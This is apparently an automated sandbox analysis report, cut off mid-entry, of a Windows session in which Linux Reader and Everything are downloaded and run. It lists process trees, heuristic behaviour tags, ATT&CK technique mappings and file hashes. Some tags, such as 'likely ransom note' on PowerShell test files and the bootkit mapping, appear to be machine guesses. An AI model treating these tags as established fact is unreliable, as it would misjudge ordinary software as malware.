C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:2220

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffc91d19758,0x7ffc91d19768,0x7ffc91d19778
2⤵
PID:4556

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:1688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1680 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:2
2⤵
PID:2912

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2028 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4464

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2996 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:3572

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2848 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:4468

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3580 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:1348

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4556 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:2628

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4704 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4900 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4884 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3700

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4888 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:3728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=3224 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:3760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4880 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3784

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4884 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4344

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5432 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:2672

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4932

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=4736 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:2988

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4472 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:4856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1668 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=816 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=2716 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:1812

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5716 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=4676 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:1
2⤵
PID:332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4488 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3880

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5792 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4752 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4572

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6008 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:4392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5568 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:2848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3124 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:2648

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1788,i,1808851612450476340,6939174638024158789,131072 /prefetch:8
2⤵
PID:3688

C:\Users\Admin\Downloads\Linux_Reader.exe
"C:\Users\Admin\Downloads\Linux_Reader.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
PID:3536

C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe
"C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3700

C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll
DiskInternals.Preview.dll 241366064 3700
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4340

C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader.exe
"C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader.exe" -site DiskInternals79A68D3CA6DE48418CF52BF28BA55F10 8192 691
4⤵
PID:2752

C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll
DiskInternals.Preview.dll 241378721 3700
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4740

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4600

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Everything-1.4.1.1022.x64\" -spe -an -ai#7zMap16554:112:7zEvent9932
1⤵
- Suspicious use of FindShellTrayWindow
PID:2084

C:\Users\Admin\Downloads\Everything-1.4.1.1022.x64\Everything.exe
"C:\Users\Admin\Downloads\Everything-1.4.1.1022.x64\Everything.exe"
1⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5008

C:\Users\Admin\Downloads\Everything-1.4.1.1022.x64\Everything.exe
"C:\Users\Admin\Downloads\Everything-1.4.1.1022.x64\Everything.exe"
1⤵
- Executes dropped EXE
PID:4308

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
PID:2556

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1012

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:3508

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:4856

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4552

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4552 -s 2080
2⤵
- Program crash
PID:4816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wsappx -s AppXSvc
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2752

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_d2r5qsvs.1xk.psm1"
1⤵
- Opens file in notepad (likely ransom note)
PID:4156

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_fuhbqokf.cwb.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:4148

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_l1jn4ium.0xp.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:4560

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_zshvauor.qer.psm1"
1⤵
- Opens file in notepad (likely ransom note)
PID:324

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_fuhbqokf.cwb.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:4500

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Desktop\PSq\__PSScriptPolicyTest_l1jn4ium.0xp.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:3580

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Bootkit

T1067

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll
Filesize
10.4MB

MD5
21a90d8d45f490ee255efea4dc56019b

SHA1
366eaeb281c3e619b64f087b4a66e5ac27c7c188

SHA256
c6a7ae0938491038fdad76fa164da4d4ad9db36b6c9ae65b31408120740fb0ba

SHA512
fdb4c4ce7ccd6cb8e14a79c281f64c603c0a5b24ef7aa8d239fe066586b6099d5005c617bdac825f81724209d75b99fb10c59fea55d90f6609c39cf994787dc7

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll
Filesize
10.4MB

MD5
21a90d8d45f490ee255efea4dc56019b

SHA1
366eaeb281c3e619b64f087b4a66e5ac27c7c188

SHA256
c6a7ae0938491038fdad76fa164da4d4ad9db36b6c9ae65b31408120740fb0ba

SHA512
fdb4c4ce7ccd6cb8e14a79c281f64c603c0a5b24ef7aa8d239fe066586b6099d5005c617bdac825f81724209d75b99fb10c59fea55d90f6609c39cf994787dc7

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll
Filesize
10.4MB

MD5
21a90d8d45f490ee255efea4dc56019b

SHA1
366eaeb281c3e619b64f087b4a66e5ac27c7c188

SHA256
c6a7ae0938491038fdad76fa164da4d4ad9db36b6c9ae65b31408120740fb0ba

SHA512
fdb4c4ce7ccd6cb8e14a79c281f64c603c0a5b24ef7aa8d239fe066586b6099d5005c617bdac825f81724209d75b99fb10c59fea55d90f6609c39cf994787dc7

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader.exe
Filesize
20.5MB

MD5
701499766a4605bebe206b29447d8e18

SHA1
00f7fe10f7beb7a215aaf54d72db2a4df5d166e9

SHA256
b13b6e547e7557fc93891d731f18b7f36223907998f4a13bd39b573243553cd5

SHA512
9669df5c4d15922c8aeb1ac5ccbe44ba10268af5d7af09731c963099dfb725f8494cb2b4899140c525b997126dc461cf5566788555be97c6695d8e75cfac65b7

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe
Filesize
29.2MB

MD5
53b67d2a8de62a40d9ff8a44e83ce9f1

SHA1
20fa8cfd9b70f2d7d943ac1b8250076c88ce5d91

SHA256
37655f2b66d903932db1a15d05aed8dfbe59718e678201f16d393b8b4483eab9

SHA512
a8df787cfcb31dacf411f3a2f63d4f5bae18f410949e18d121f512a581d7f873f5da3a3d9960c5dbcbe89c000dbadd813ff66c3b057ccdbb4d5b5f3a42d18903

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe
Filesize
29.2MB

MD5
53b67d2a8de62a40d9ff8a44e83ce9f1

SHA1
20fa8cfd9b70f2d7d943ac1b8250076c88ce5d91

SHA256
37655f2b66d903932db1a15d05aed8dfbe59718e678201f16d393b8b4483eab9

SHA512
a8df787cfcb31dacf411f3a2f63d4f5bae18f410949e18d121f512a581d7f873f5da3a3d9960c5dbcbe89c000dbadd813ff66c3b057ccdbb4d5b5f3a42d18903

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe
Filesize
29.2MB

MD5
53b67d2a8de62a40d9ff8a44e83ce9f1

SHA1
20fa8cfd9b70f2d7d943ac1b8250076c88ce5d91

SHA256
37655f2b66d903932db1a15d05aed8dfbe59718e678201f16d393b8b4483eab9

SHA512
a8df787cfcb31dacf411f3a2f63d4f5bae18f410949e18d121f512a581d7f873f5da3a3d9960c5dbcbe89c000dbadd813ff66c3b057ccdbb4d5b5f3a42d18903

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\cbfs64.dll
Filesize
381KB

MD5
0a677292d9239637a9570eaf4cfc0947

SHA1
a4e2cc00c43d50c9fbea66a3a0f4b0c3c4ba8ef5

SHA256
7ca5d98db5190004ee559b45529a963355d3989c947374545890068d47f16df1

SHA512
c43cfb7dbbee8bb36ecaa0420fa6142812ab557112abe3b9f981cc524ab8e3cd4e5a8b5e7e81d39f9a8dca43898c63aedde70c823895cc2202d899ed12b2a9c2

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fat12.dll
Filesize
216KB

MD5
12656311536409eac6f061894cd54ee0

SHA1
f30298777ae5326cd299d9e44a6f394f37cf5e8d

SHA256
2301186b820fe70bcfcdc2677181681eadb44c8e2fc8ca5fbf06a74789dafbdd

SHA512
26d547f71bc9b71d7299cef9a73d0dd69a40388c866ae34a38204b0b404f0f2f642ed4a34070e1264ce2bd2be2a7102161602f5e10e442c6e43daa5374dc96cf

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fat16.dll
Filesize
307KB

MD5
dbaec21c502555e021f656955e647f67

SHA1
d9ef317faa9fc3c17478de70e1d11676b73f1764

SHA256
b5f37a5605f0b74d72997fdcf1076086e2325e6cc18dc366b84c253a80a33e92

SHA512
438f2e949949e14bc3ff85b2beb375385bb95642c2c689c32789c0d3cd5e1125d665b25c38d78886ded518af66767c4269b8e1348552a413b196859c806cc846

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
589B

MD5
a45edeed9d4ead615d3628f02e7b5a5c

SHA1
2310a670a1f176ac5ec57e0565f7c828a6c4de98

SHA256
8d21162a5492563a204cfbdf5a6772a8e2d87359609dceec22b3ad66df65c62d

SHA512
63d56fcc226d22500410de8bd613ea45f60cdd9e86f63a7bc828c302d85b51ec2cd3ef8a44e4fb50302e0cd89f12fc8b0b7d1f99075e541fba4b6d6e6d7cff3a

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
589B

MD5
a45edeed9d4ead615d3628f02e7b5a5c

SHA1
2310a670a1f176ac5ec57e0565f7c828a6c4de98

SHA256
8d21162a5492563a204cfbdf5a6772a8e2d87359609dceec22b3ad66df65c62d

SHA512
63d56fcc226d22500410de8bd613ea45f60cdd9e86f63a7bc828c302d85b51ec2cd3ef8a44e4fb50302e0cd89f12fc8b0b7d1f99075e541fba4b6d6e6d7cff3a

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
589B

MD5
d9fb4c5cd7666b6e2761c3a299737c6f

SHA1
f93f7c3f17119c3609686cb717ac8b33f21cde06

SHA256
186f8601b120f3462ca9f22a78747e9afa200a4e885a1ec7df285704579866d7

SHA512
014360e09f29651931b4d1281e692166ffda96fd770b3474b696e8ad593984111b8092ba17e205455ab3c3fa0620c480c085bba5f70cd26a05132886de89c3ab

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
593B

MD5
5459f577cfd03216217b2741e8742596

SHA1
af7b089d1b6b17ba25c1d1607758f9224fa480b2

SHA256
12097a2868785616c3db0907d1d6497ca3c87eefa273e4d1e0c26d52d1d641d8

SHA512
f71e21714f68682f92ba26f0035ed502158dc66d56089add0295ff5f3bf4b8fcb20f385854da95e9d5946d06ba6a5f62cce2aff712d596614d888ec7f82b34b2

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
718B

MD5
ca0877f0194daf773bc678e9c0fb74d7

SHA1
61b832832e67b61e3ae45d9e79287c41a1438e89

SHA256
e6b1fd8c8385ec251d33bf6ce0f4821238f0fea6c6d4179a04d1209d89a8d6d2

SHA512
7be9d9f7ae3944840a25dd680889ea3e3b5ecdb4a8368aa33a7359e9e6b2f2a16a2c2f8bfc8dd0cff5f69e619478a6b294cd752aed9e8d23f83925be4a329e2a

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
568B

MD5
7a02623a8f8c9705d99e83d690a806e8

SHA1
2f53dd3716e64aeeb7e647cd5573ff2384df5032

SHA256
05c083c3a7ca14a4b343cd0c7298b7f7d0c4d54077c755070bc4294192523fc3

SHA512
72953b4702f598d029dc1a290d8530c97982fdf94359d9b247de2c9f2f6be943c817e6465685e515a50154dddb25ae729f9d62aa59639bd815a4ec6d53125330

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini
Filesize
587B

MD5
8caa1a88c03f44c5228334b131315e8f

SHA1
06f941023925731432c5221a39e2bec01cb0b6c4

SHA256
f30125a743e7b405d21ed8332c84702d228ea1a9c00b07cbce6ffd0a67388522

SHA512
2f8c2b8b9918367b96041cd6b386c097b8e49df446a1e9a8cd2960b92f50df0bb72d9206bd249c0344c5cd3847ef09156922a35cb4c614fd7729740718b521ae

Download Submit
C:\Program Files (x86)\DiskInternals\LinuxReader\ippcp.dll
Filesize
779KB

MD5
2a9e5d0b6a5beb2fd06042fd5a04ea13

SHA1
5501e91a12bb0440983f8fc4e816b27d2e566824

SHA256
64a6c8e4b17a41e3e63dc81b0cfc7d533674bf295db081a87cea5e97d5c66eca

SHA512
2accd5325c6d6dccd03f824a015f6fd3063a65574adda4a940cfbd57344d171a4f8620490c8a872c6877095b81a75c5e19abfa3b3db54bb9c8e4feb523fc3e98

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006
Filesize
37KB

MD5
47ae9b25af86702d77c7895ac6f6b57c

SHA1
f56f78729b99247a975620a1103cac3ee9f313a5

SHA256
9bde79a1b0866f68d6baa43f920e971b5feb35a8e0af7ffadc114366f8538224

SHA512
72b5296e3dd1c5b4c42d8c3e4a56693819779167b9f02bc2d5f5a626b519a9cf10bee59846d614c929c42094b65d13039f6024f6cb1c023e740969aaefd060c4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
288B

MD5
4adeb1ab90ff225a3e4eaebae4e16630

SHA1
04497661a5fded53ca31236e78bca9be9921d1f5

SHA256
05f0da0e5fb52b25185a66798a95e49e0cacb4b4afa2b3af45fcc0b3510054ca

SHA512
